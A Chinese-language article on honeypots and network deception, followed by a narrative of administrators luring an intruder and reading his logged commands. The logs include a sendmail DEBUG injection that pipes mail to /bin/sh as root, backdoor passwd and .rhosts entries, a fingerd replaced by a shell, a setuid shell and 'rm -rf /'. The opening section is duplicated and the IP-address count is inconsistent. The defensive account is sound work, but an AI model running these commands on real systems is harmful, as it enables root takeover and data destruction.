一、網絡欺騙方法探幽
網絡管理員和入侵者在工作上永遠是不相容的兩個派別,至于工作之外是什么角色就不好說了。實踐過程中,我們可以用逆向的思維來猜測入侵者的進攻技術和意圖,牽著他的“牛鼻子”,按照我們給他設計好的意志進行選擇,并且逐步消耗他的資源。這樣,就會使入侵者感到要達到期望的目標還是具有一定挑戰性的。一般來說,網絡欺騙的方法可以從以下幾個方面來考慮。
1、誘餌:Honey Pot和分布式Honey Pot
最早采用的網絡欺騙是Honey Pot技術,Honey Pot就像一個誘餌,它將少量的有吸引力的目標(即Honey Pot)放在讓入侵者很容易發現的地方,使之落入圈套。其中采用的技術手段很多,通常包括安插錯誤信息和隱藏等。前者包括重定向路由、偽造假信息和設置圈套,后者包括隱藏服務、多路徑和維護安全狀態信息機密性。這樣就可以使入侵者將技術、精力集中到Honey Pot而不是其他真正有價值的正常系統和資源中,因此這個誘餌必須做的盡量“美味、可口”。
盡管Honey Pot技術可以迅速切換,但是,對稍高級的網絡入侵,Honey Pot技術就作用甚微了。因此,分布式Honey Pot技術便應運而生,它將欺騙(Honey Pot)散布在網絡的正常系統和資源中,利用閑置的服務端口來充當欺騙,從而增大了入侵者遭遇欺騙的可能性。分布式Honey Pot技術有兩個直接的效果,首先是將欺騙分布到更廣范圍的IP地址和端口空間中,其次是增大了欺騙在整個網絡中的百分比,使得欺騙比安全弱點被入侵者掃描器發現的可能性增大。
分布式Honey Pot技術也不是十全十美的,它的局限性體現在三個方面:一是它對窮盡整個空間搜索的網絡掃描無效;二是只提供了相對較低的欺騙質量;三是只相對使整個搜索空間的安全弱點減少。而且,這種技術的一個更為嚴重的缺陷是它只對遠程掃描有效。如果入侵已經部分進入到網絡系統中,處于觀察(如嗅探)而非主動掃描階段時,真正的網絡服務對入侵者已經透明,那么這種欺騙將失去作用。
2、真假“李逵”:空間欺騙技術
計算機系統具有多宿主能力(multi-homed capability),就是在只有一塊以太網卡的計算機上能實現具有眾多IP地址的主機,實際上,現在已有研究機構能將超過4000個IP地址綁定在一臺運行Linux的PC上,而且每個IP地址還具有它們自己的MAC地址。這項技術可用于建立填充一大段地址空間的欺騙,且花費極低。欺騙空間技術就是通過增加搜索空間來顯著地增加入侵者的工作量,從而達到安全防護的目的。這樣許許多多不同的欺騙,就可以在一臺計算機上實現。當入侵者的掃描器訪問到網絡系統的外部路由器并探測到這一欺騙服務時,還可將掃描器所有的網絡流量重定向到欺騙上,使得接下來的遠程訪問變成這個欺騙的繼續。
從防護的效果上看,將網絡服務放置在所有這些IP地址上將毫無疑問地增加了入侵者的工作量,因為他們需要決定哪些服務是真正的,哪些服務是偽造的,特別是這樣的4萬個以上IP地址都放置了偽造網絡服務的系統。而且,在這種情況下,欺騙服務相對更容易被掃描器發現,通過誘使入侵者上當,增加了入侵時間,從而大量消耗入侵者的資源,使真正的網絡服務被探測到的可能性大大減小。
當然,采用這種欺騙時網絡流量和服務的重定向必須嚴格保密,因為一旦暴露就將招致攻擊,從而導致入侵者很容易將任一已知有效的服務和這種用于測試入侵者的掃描探測及其響應的欺騙區分開來。
3、用戶信息迷惑:組織信息欺騙和多重地址轉換
面對網絡攻擊技術的不斷提高,一種網絡欺騙技術肯定不能做到總是成功,必須不斷地提高欺騙質量,才能使入侵者難以將合法服務和欺騙區分開來。多重地址轉換和組織信息欺騙能有效地迷惑對手。
如果組織的DNS服務器包含了個人系統擁有者及其位置的詳細信息,那么你就需要在欺騙的DNS列表中具有偽造的擁有者及其位置,否則欺騙很容易被發現。而且,偽造的人和位置也需要有偽造的信息如薪水、預算和個人記錄等等。因此,如果某個組織提供有關個人和系統信息的訪問,那么欺騙也必須以某種方式反映出這些信息。
另外,在信息迷惑上,地址的多次轉換能將欺騙網絡和真實網絡分離開來,這樣就可利用真實的計算機替換低可信度的欺騙,增加了間接性和隱蔽性。其基本的概念就是重定向代理服務(通過改寫代理服務器程序實現),由代理服務進行地址轉換,使相同的源和目的地址像真實系統那樣被維護在欺騙系統中。
4、網絡信息迷惑:網絡動態配置和網絡流量仿真
真實網絡是隨時間而改變的,如果欺騙是靜態的,那么在入侵者長期監視的情況下就會導致欺騙無效。因此,需要動態配置欺騙網絡以模擬正常的網絡行為,使欺騙網絡也像真實網絡那樣隨時間而改變。為使之有效,欺騙特性也應該能盡可能地反映出真實系統的特性。例如,如果辦公室的計算機在下班之后關機,那么欺騙計算機也應該在同一時刻關機。其他的如假期、周末和特殊時刻也必須考慮,否則入侵者將很可能發現欺騙。
產生仿真流量的目的是使流量分析不能檢測到欺騙。在欺騙系統中產生仿真流量有兩種方法。一種方法是采用實時方式或重現方式復制真正的網絡流量,這使得欺騙系統與真實系統十分相似,因為所有的訪問連接都被復制了;還有一種方法是從遠程產生偽造流量,使入侵者可以發現和利用。
在欺騙與被欺騙的過程中,對雙方的智力考驗要求是很高的。如果在其中某個環節的判斷上出了問題,就可能反而陷入別人的圈套。因此,必須對相關的欺騙手法有一定的了解,這樣就能在實踐操作中做出準確的判斷。下面,我們來看一個“誘敵深入”的攻防實踐。
誘敵深入是一門很實用的戰術,古今中外,很多軍事家、政治家、企業家都對這個戰術津津樂道,在網絡攻防中也不例外,系統管理員也會用到這樣的戰術。由于每個網絡系統都有安全方面的弱點,如果它的價值很高的話,這些弱點就有可能被入侵者利用。通常,人們會主動去彌補這些漏洞或者缺陷,如果系統管理員有一手的話,完全可以使入侵者相信系統存在安全缺陷,并將其引向這些錯誤的資源,也就是“誘敵深入”。當然,也需要在“知己知彼”的基礎上才能“百戰百勝”。管理員還可以跟蹤入侵者的行為,在入侵者之前修補系統可能存在的安全漏洞。這可以形象地比喻為“牽著牛鼻子走路”。
一、網絡欺騙方法探幽
網絡管理員和入侵者在工作上永遠是不相容的兩個派別,至于工作之外是什么角色就不好說了。實踐過程中,我們可以用逆向的思維來猜測入侵者的進攻技術和意圖,牽著他的“牛鼻子”,按照我們給他設計好的意志進行選擇,并且逐步消耗他的資源。這樣,就會使入侵者感到要達到期望的目標還是具有一定挑戰性的。一般來說,網絡欺騙的方法可以從以下幾個方面來考慮。
1、誘餌:Honey Pot和分布式Honey Pot
最早采用的網絡欺騙是Honey Pot技術,Honey Pot就像一個誘餌,它將少量的有吸引力的目標(即Honey Pot)放在讓入侵者很容易發現的地方,使之落入圈套。其中采用的技術手段很多,通常包括安插錯誤信息和隱藏等。前者包括重定向路由、偽造假信息和設置圈套,后者包括隱藏服務、多路徑和維護安全狀態信息機密性。這樣就可以使入侵者將技術、精力集中到Honey Pot而不是其他真正有價值的正常系統和資源中,因此這個誘餌必須做的盡量“美味、可口”。
盡管Honey Pot技術可以迅速切換,但是,對稍高級的網絡入侵,Honey Pot技術就作用甚微了。因此,分布式Honey Pot技術便應運而生,它將欺騙(Honey Pot)散布在網絡的正常系統和資源中,利用閑置的服務端口來充當欺騙,從而增大了入侵者遭遇欺騙的可能性。分布式Honey Pot技術有兩個直接的效果,首先是將欺騙分布到更廣范圍的IP地址和端口空間中,其次是增大了欺騙在整個網絡中的百分比,使得欺騙比安全弱點被入侵者掃描器發現的可能性增大。
分布式Honey Pot技術也不是十全十美的,它的局限性體現在三個方面:一是它對窮盡整個空間搜索的網絡掃描無效;二是只提供了相對較低的欺騙質量;三是只相對使整個搜索空間的安全弱點減少。而且,這種技術的一個更為嚴重的缺陷是它只對遠程掃描有效。如果入侵已經部分進入到網絡系統中,處于觀察(如嗅探)而非主動掃描階段時,真正的網絡服務對入侵者已經透明,那么這種欺騙將失去作用。
2、真假“李逵”:空間欺騙技術
計算機系統具有多宿主能力(multi-homed capability),就是在只有一塊以太網卡的計算機上能實現具有眾多IP地址的主機,實際上,現在已有研究機構能將超過4000個IP地址綁定在一臺運行Linux的PC上,而且每個IP地址還具有它們自己的MAC地址。這項技術可用于建立填充一大段地址空間的欺騙,且花費極低。欺騙空間技術就是通過增加搜索空間來顯著地增加入侵者的工作量,從而達到安全防護的目的。這樣許許多多不同的欺騙,就可以在一臺計算機上實現。當入侵者的掃描器訪問到網絡系統的外部路由器并探測到這一欺騙服務時,還可將掃描器所有的網絡流量重定向到欺騙上,使得接下來的遠程訪問變成這個欺騙的繼續。
從防護的效果上看,將網絡服務放置在所有這些IP地址上將毫無疑問地增加了入侵者的工作量,因為他們需要決定哪些服務是真正的,哪些服務是偽造的,特別是這樣的4萬個以上IP地址都放置了偽造網絡服務的系統。而且,在這種情況下,欺騙服務相對更容易被掃描器發現,通過誘使入侵者上當,增加了入侵時間,從而大量消耗入侵者的資源,使真正的網絡服務被探測到的可能性大大減小。
當然,采用這種欺騙時網絡流量和服務的重定向必須嚴格保密,因為一旦暴露就將招致攻擊,從而導致入侵者很容易將任一已知有效的服務和這種用于測試入侵者的掃描探測及其響應的欺騙區分開來。
3、用戶信息迷惑:組織信息欺騙和多重地址轉換
面對網絡攻擊技術的不斷提高,一種網絡欺騙技術肯定不能做到總是成功,必須不斷地提高欺騙質量,才能使入侵者難以將合法服務和欺騙區分開來。多重地址轉換和組織信息欺騙能有效地迷惑對手。
如果組織的DNS服務器包含了個人系統擁有者及其位置的詳細信息,那么你就需要在欺騙的DNS列表中具有偽造的擁有者及其位置,否則欺騙很容易被發現。而且,偽造的人和位置也需要有偽造的信息如薪水、預算和個人記錄等等。因此,如果某個組織提供有關個人和系統信息的訪問,那么欺騙也必須以某種方式反映出這些信息。
另外,在信息迷惑上,地址的多次轉換能將欺騙網絡和真實網絡分離開來,這樣就可利用真實的計算機替換低可信度的欺騙,增加了間接性和隱蔽性。其基本的概念就是重定向代理服務(通過改寫代理服務器程序實現),由代理服務進行地址轉換,使相同的源和目的地址像真實系統那樣被維護在欺騙系統中。
4、網絡信息迷惑:網絡動態配置和網絡流量仿真
真實網絡是隨時間而改變的,如果欺騙是靜態的,那么在入侵者長期監視的情況下就會導致欺騙無效。因此,需要動態配置欺騙網絡以模擬正常的網絡行為,使欺騙網絡也像真實網絡那樣隨時間而改變。為使之有效,欺騙特性也應該能盡可能地反映出真實系統的特性。例如,如果辦公室的計算機在下班之后關機,那么欺騙計算機也應該在同一時刻關機。其他的如假期、周末和特殊時刻也必須考慮,否則入侵者將很可能發現欺騙。
產生仿真流量的目的是使流量分析不能檢測到欺騙。在欺騙系統中產生仿真流量有兩種方法。一種方法是采用實時方式或重現方式復制真正的網絡流量,這使得欺騙系統與真實系統十分相似,因為所有的訪問連接都被復制了;還有一種方法是從遠程產生偽造流量,使入侵者可以發現和利用。
在欺騙與被欺騙的過程中,對雙方的智力考驗要求是很高的。如果在其中某個環節的判斷上出了問題,就可能反而陷入別人的圈套。因此,必須對相關的欺騙手法有一定的了解,這樣就能在實踐操作中做出準確的判斷。下面,我們來看一個“誘敵深入”的攻防實踐。
3、較量
設置好上面的服務以后,由于我們的目標有點暴露,因此被攻擊率比較高。但是,當一個遠程使用者取走passwd文件時,并不是所有的人都出于惡意的目的。就象我們生活在大千世界一樣,每個人的想法不一定相同。從這些日志所記錄的事件里面,我們可以發現很多人的不同心理,或善意,或好奇,或者出于成就感。為了給黑客一個提醒,我們設置了一個自動回信,大致內容是:
“如果你到了這個地方,就已經很不錯了,如果你希望繼續,我們也可以陪你玩玩。如果我們現在正看著你的操作,感覺如何?”。
不過,對于高手來說,這招并不一定能奏效。下面的日志,記錄了兩個郵件發送器的相互對話,整個心理過程可以從中窺探出來。
以下是引用片段: 00:43:10 smtpd[27466]: <--- 220 xxx.xxx.com SMTP
00:43:14 smtpd[27466]: -------> debug
00:43:14 smtpd[27466]: DEBUG attempt
00:43:14 smtpd[27466]: <--- 200 OK
00:43:25 smtpd[27466]: -------> mail from:
00:43:25 smtpd[27466]: <--- 503 Expecting HELO
00:43:34 smtpd[27466]: -------> helo
00:43:34 smtpd[27466]: HELO from
00:43:34 smtpd[27466]: <--- 250 xxx.xxx.com
00:43:42 smtpd[27466]: -------> mail from:
00:43:42 smtpd[27466]: <--- 250 OK
00:43:59 smtpd[27466]: -------> rcpt to: 00:43:59 smtpd[27466]: <--- 501 Syntax error in recipient name
00:44:44 smtpd[27466]: -------> rcpt to:<|sed -e '1,/?$/'d | /bin/sh ; exit 0">
00:44:44 smtpd[27466]: shell characters: |sed -e '1,/?$/'d | /bin/sh ; exit 0"
00:44:45 smtpd[27466]: <--- 250 OK
00:44:48 smtpd[27466]: -------> data
00:44:48 smtpd[27466]: <--- 354 Start mail input; end with .
00:45:04 smtpd[27466]: <--- 250 OK
00:45:04 smtpd[27466]: /dev/null sent 48 bytes to upas.security
00:45:08 smtpd[27466]: -------> quit
00:45:08 smtpd[27466]: <--- 221 xxx.xxx.com Terminating
00:45:08 smtpd[27466]: finished. |
這是我們對SMTP過程的日志。在這個例子中,另一端是由人來鍵入命令。入侵者嘗試的第一個命令是DEBUG。當他接收的“250 OK”的回應時一定很驚奇。關鍵的行是“rcpt to :”。在尖括號括起的部分通常是一個郵件接收器的地址。這里它包含了一個命令行。在DEBUG模式下,Sendmail可以用它來以ROOT身份執行一段命令。即:
以下是引用片段: sed -e '1,/?$/'d | /bin/sh ; exit 0" |
它去掉了郵件頭的信息,并使用ROOT身份執行了消息體,這樣可以隱藏一些關于他的信息。之后,這個入侵者試探著從我們的服務器上取得一些密碼和賬戶文件,于是我們編造了一份假文件,給他發過去,密文破解后的意思是:“小心玩火自焚!”。
4、尋蹤
這樣幾天沒有動靜,估計這個入侵者不死心,在考慮該怎么來修改密碼文件了。其實,到這一步,我們完全可以把機器的補丁打上,不過,玩就要玩個痛快。不過,我們也在納悶,這個入侵者不會知難而退了吧,還是有其他的工作在忙呢?靜悄悄的,我們等待著。
星期五的晚上,一個難得的周末。機房監控的終端報告有安全事件,我們的入侵檢測系統也時不時地報告有些錯誤發生。核對日志后,我們發現,有人試圖使用DEBUG來用ROOT身份執行命令,也就是說,他試圖修改我們的密碼文件,一切盡在不言中,我不得不佩服這個入侵者的耐心和智慧!查看日志,我們發現,這次入侵同樣是來自上次的連接:hust.whnet.edu。我們開始思考:現在到底是“誘敵深入”?還是“引狼入室”?從感覺來看,這個黑客比我們想象中的要厲害,而且他對現在的系統和系統漏洞相當的了解。難道我們要做的就是“拔掉網線”嗎?思索中,一切仍然在進行中。
出于真實性考慮,我們在采取一些信息迷惑的同時,也公布了一些讓黑客進入的誘餌。其中ftp的passwd是真實的,另外還生成了一個賬號,但卻使它不可操作。同時,又要讓入侵者以為他自己已經改變了passwd文件,但卻不急于讓他進來。因此還需要給這個入侵者創造一定的條件。于是,我生成了一個臨時賬號c,當它被調用時就會給我發信,為了保險起見,我把c賬號在實際passwd文件中改成了cndes,當我作完后,這個入侵者繼續嘗試:
以下是引用片段: 00:44 echo "cndes ::301:1::/:/bin/sh" >> /etc/passwd |
他嘗試了幾個命令,但是沒有成功,終于他發現了cndes這個賬號,于是產生了下面的日志:
以下是引用片段: 00:51 Attempt to login to inet with cndes from hust.whnet.edu
00:51 Attempt to login to inet with cndes from hust.whnet.edu
00:55 echo "cndes ::303:1::/tmp:/bin/sh" >> /etc/passwd
00:57 (Added cndes to the real password file.)
00:58 Attempt to login to inet with cndes from hust.whnet.edu
00:58 Attempt to login to inet with cndes from hust.whnet.edu
01:05 echo "36.92.0.205" >/dev/null
echo "36.92.0.205 hust.whnet.edu">>/etc./?H?H?H
01:06 Attempt to login to inet with guest from rice-chex.ai.mit.edu
01:06 echo "36.92.0.205 hust.whnet.edu" >> /etc/hosts
01:08 echo "hust.whnet.edu cndes">>/tmp/.rhosts |
這時,這個入侵者的活動又轉到了ftp上:
以下是引用片段: Feb 20 01:36:48 inet ftpd[14437]: <--- 220 inet FTP server (Version 4.265 Fri Feb 2 13:39:38 EST 1990) ready. Feb 20 01:36:55 inet ftpd[14437]: -------> user cndes?M Feb 20 01:36:55 inet ftpd[14437]: <--- 331 Password required for cndes. Feb 20 01:37:06 inet ftpd[14437]: -------> pass?M Feb 20 01:37:06 inet ftpd[14437]: <--- 500 'PASS': command not understood. Feb 20 01:37:13 inet ftpd[14437]: -------> pass?M Feb 20 01:37:13 inet ftpd[14437]: <--- 500 'PASS': command not understood. Feb 20 01:37:24 inet ftpd[14437]: -------> HELP?M Feb 20 01:37:24 inet ftpd[14437]: <--- 214- The following commands are recognized (* =>'s unimplemented). Feb 20 01:37:24 inet ftpd[14437]: <--- 214 Direct comments to ftp-bugs@inet. Feb 20 01:37:31 inet ftpd[14437]: -------> QUIT?M Feb 20 01:37:31 inet ftpd[14437]: <--- 221 Goodbye. Feb 20 01:37:31 inet ftpd[14437]: Logout, status 0 Feb 20 01:37:31 inet inetd[116]: exit 14437 Feb 20 01:37:41 inet inetd[116]: finger request from 202.103.0.117 pid 14454 Feb 20 01:37:41 inet inetd[116]: exit 14454 01:38 finger attempt on cndes 01:48 echo "36.92.0.205 hust.whnet.edu" >> /etc/hosts.equiv 01:53 mv /usr/etc/fingerd /usr/etc/fingerd.b cp /bin/sh /usr/etc/fingerd |
看的出,他在這方面是很在行的,幸運的是,他只是破壞了我們模擬機器上的finger而已,并沒有將之替換成一個shell程序。我關閉了實際fingerd程序。黑客的活動仍然在繼續,摘錄的相關日志如下:
以下是引用片段: 01:57 Attempt to login to inet with cndes from hust.whnet.edu 01:58 cp /bin/csh /usr/etc/fingerd 02:07 cp /usr/etc/fingerd.b /usr/etc/fingerd |
按照他的意思,fingerd現在重新開始工作?,F在他試圖修改password,不過,這永遠不會成功,因為passwd的輸入是/dev/tty,而不是sendmail所執行的shell script。攻擊在繼續中:
以下是引用片段: 02:16 Attempt to login to inet with cndes from hust.whnet.edu 02:17 echo "/bin/sh" > /tmp/Shell chmod 755 /tmp/shell chmod 755 /tmp/Shell 02:19 chmod 4755 /tmp/shell 02:19 Attempt to login to inet with cndes from hust.whnet.edu 02:19 Attempt to login to inet with cndes from hust.whnet.edu 02:21 Attempt to login to inet with cndes from hust.whnet.edu 02:21 Attempt to login to inet with cndes from hust.whnet.edu |
又是一番折騰,連續的戰斗,已經讓我們疲憊不堪了,不過,這位入侵者也應該很疲憊了。突然,我發現了一個新的日志:
以下是引用片段: 02:55 rm -rf /& |
看來他試圖刪除所有進入的痕跡,估計他很累了。但是,對于這個黑客來說,“沒有進行破壞”是說不過去的,根據計算機安全的基本原則,當數據的"完整性、可用性和機密性"中任意三者之一在受到破壞的時候,都應視為安全受到了破壞。在實際情況中,間諜們只是默默地拿走你的數據而絕不做任何的破壞,而且盡最大可能地掩蓋自己行動的痕跡。這些黑客希望長時間大量地得到珍貴的數據而不被發覺,這其實是最可怕的一種攻擊行為??磥恚裉炫龅降倪@個黑客確實很職業,不過,他沒有意識到我們給他布置的“局”,徒勞的長時間攻擊之后,他選擇了退出。我們也很累了,不過,現在最要緊的,就是馬上恢復并且馬上打上最新的sendmail系統補丁了。
隨著計算機安全技術的發展,計算機網絡將日益成為工業、農業和國防等方面的重要信息交換手段,滲透到社會生活的各個領域。因此,認清網絡的脆弱性和潛在威脅,采取強有力的安全策略,對于保障網絡的安全性將變得十分重要。同時,計算機網絡技術目前正處于蓬勃發展的階段,新技術層出不窮,其中也不可避免地存在一些漏洞,因此,進行網絡防范要不斷追蹤新技術的應用情況,同時要把握黑客的心理,做到“知己知彼,百戰不殆”,從而逐漸完善自身的防御措施。